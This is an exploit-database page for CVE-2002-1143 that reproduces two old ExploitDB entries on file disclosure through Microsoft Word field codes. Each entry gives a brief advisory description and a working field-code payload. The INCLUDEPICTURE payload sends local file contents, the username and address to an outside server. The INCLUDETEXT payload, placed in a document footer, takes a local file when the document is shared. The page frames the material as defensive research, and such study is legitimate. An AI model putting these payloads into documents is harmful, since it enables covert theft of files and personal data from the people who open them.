Materialized exploit
CVE-2002-1143
2 public exploit(s) for this CVE, 2 materialized with their code.
For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.
ExploitDB
remote windows Verified
Source
Microsoft Word 95/97/98/2000/2002 - 'INCLUDEPICTURE' Document Sharing File Disclosure
By Richard Edwards
How to test this exploit
Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.
Code txt
source: https://www.securityfocus.com/bid/5764/info
The INCLUDEPICTURE Field Code may be used to insert arbitrary URLs into a document. The INCLUDEPICTURE Field Code is reported to, under some circumstances, present a security threat.
If the INCLUDEPICTURE Field Code is included in a document and references a URL, it may be possible for the attacker to obtain contents of files on the victim user's system. It is possible for an attacker to abuse this functionality in a situation where documents are constantly being shared and updated.
An attacker can potentially exploit this vulnerability to obtain the contents of files residing on a victim user's system.
{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { FILENAME \p } & { INCLUDETEXT "c:\\a.txt" } } \d }
{ INCLUDEPICTURE { QUOTE "http:\\www.alicesserver.com\" & { USERNAME } & { USERADDRESS } } \d }
(The curly braces above represent Microsoft Word field braces.)
ExploitDB
remote windows Verified
Source
Microsoft Word 95/97/98/2000/2002 / Excel 2002 - INCLUDETEXT Document Sharing File Disclosure
By Alex Gantman
How to test this exploit
Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.
Code txt
source: https://www.securityfocus.com/bid/5586/info
The Microsoft Word and Excel INCLUDETEXT Field Code may be used to insert an arbitrary local file into a document. The INCLUDETEXT Field Code is reported to, under some circumstances, present a security threat.
If the INCLUDETEXT Field Code is included in a document and references a file on the local system of the recipient, then the file will also be included when the document is sent out. It is possible for an attacker to abuse this functionality in a situation where documents are constantly being shared and updated.
The recipient of the malicious document must still pass along the updated version of the document for the attacker to receive the imported local file.
** Reports indicate that using a 'dde' link group field may be able to bypass the functionality of the Microsoft patch for this issue.
Inserting the following field structure into the footer of the last page of the document will steal the contents of c:\a.txt on the target's computer:
{ IF { INCLUDETEXT { IF { DATE } = { DATE } "c:\\a.txt" "c:\\a.txt" } \* MERGEFORMAT } = "" "" \* MERGEFORMAT }
(The curly braces above represent Microsoft Word field braces.)